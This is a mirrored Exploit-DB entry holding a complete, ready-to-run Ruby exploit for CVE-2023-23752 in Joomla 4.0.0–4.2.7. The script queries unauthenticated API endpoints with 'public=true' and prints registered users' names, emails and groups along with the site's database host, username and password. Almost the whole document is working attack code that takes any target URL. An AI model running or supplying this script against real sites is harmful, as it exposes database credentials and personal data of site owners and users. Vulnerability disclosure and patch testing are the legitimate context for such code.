Joomla! v4.2.8 – Unauthenticated information disclosure

  • 作者: Alexandre ZANNI
    日期: 2023-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51334/
  • #!/usr/bin/env ruby
    
    # Exploit
    ## Title: Joomla! v4.2.8 - Unauthenticated information disclosure
    ## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
    ## Author website: https://pwn.by/noraj/
    ## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752
    ## Date: 2023-03-24
    ## Vendor Homepage: https://www.joomla.org/
    ## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
    ## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
    ## Tested on: Joomla! Version 4.2.7
    ## CVE : CVE-2023-23752
    ## References:
    ## - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/
    ## - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
    ## - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752
    ## - https://nvd.nist.gov/vuln/detail/CVE-2023-23752
    ## - https://vulncheck.com/blog/joomla-for-rce
    ## - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml
    
    # standard library
    require 'json'
    # gems
    require 'httpx'
    require 'docopt'
    require 'paint'
    
    doc = <<~DOCOPT
    #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]}
    
    #{Paint['Usage:', :red]}
    #{__FILE__} <url> [options]
    #{__FILE__} -h | --help
    
    #{Paint['Parameters:', :red]}
    <url> Root URL (base path) including HTTP scheme, port and root folder
    
    #{Paint['Options:', :red]}
    --debug Display arguments
    --no-colorDisable colorized output (NO_COLOR environment variable is respected too)
    -h, --helpShow this screen
    
    #{Paint['Examples:', :red]}
    #{__FILE__} http://127.0.0.1:4242
    #{__FILE__} https://example.org/subdir
    
    #{Paint['Project:', :red]}
    #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec)
    #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis)
    #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752)
    DOCOPT
    
    def fetch_users(root_url, http)
    vuln_url = "#{root_url}/api/index.php/v1/users?public=true"
    http.get(vuln_url)
    end
    
    def parse_users(root_url, http)
    data_json = fetch_users(root_url, http)
    data = JSON.parse(data_json)['data']
    users = []
    data.each do |user|
    if user['type'] == 'users'
    id = user['attributes']['id']
    name = user['attributes']['name']
    username = user['attributes']['username']
    email = user['attributes']['email']
    groups = user['attributes']['group_names']
    users << {id: id, name: name, username: username, email: email, groups: groups}
    end
    end
    users
    end
    
    def display_users(root_url, http)
    users = parse_users(root_url, http)
    puts Paint['Users', :red, :bold]
    users.each do |u|
    puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}"
    end
    end
    
    def fetch_config(root_url, http)
    vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true"
    http.get(vuln_url)
    end
    
    def parse_config(root_url, http)
    data_json = fetch_config(root_url, http)
    data = JSON.parse(data_json)['data']
    config = {}
    data.each do |entry|
    if entry['type'] == 'application'
    key = entry['attributes'].keys.first
    config[key] = entry['attributes'][key]
    end
    end
    config
    end
    
    def display_config(root_url, http)
    c = parse_config(root_url, http)
    puts Paint['Site info', :red, :bold]
    puts "Site name: #{c['sitename']}"
    puts "Editor: #{c['editor']}"
    puts "Captcha: #{c['captcha']}"
    puts "Access: #{c['access']}"
    puts "Debug status: #{c['debug']}"
    puts
    puts Paint['Database info', :red, :bold]
    puts "DB type: #{c['dbtype']}"
    puts "DB host: #{c['host']}"
    puts "DB user: #{Paint[c['user'], :yellow, :bold]}"
    puts "DB password: #{Paint[c['password'], :yellow, :bold]}"
    puts "DB name: #{c['db']}"
    puts "DB prefix: #{c['dbprefix']}"
    puts "DB encryption #{c['dbencryption']}"
    end
    
    begin
    args = Docopt.docopt(doc)
    Paint.mode = 0 if args['--no-color']
    puts args if args['--debug']
    
    http = HTTPX
    display_users(args['<url>'], http)
    puts
    display_config(args['<url>'], http)
    rescue Docopt::Exit => e
    puts e.message
    end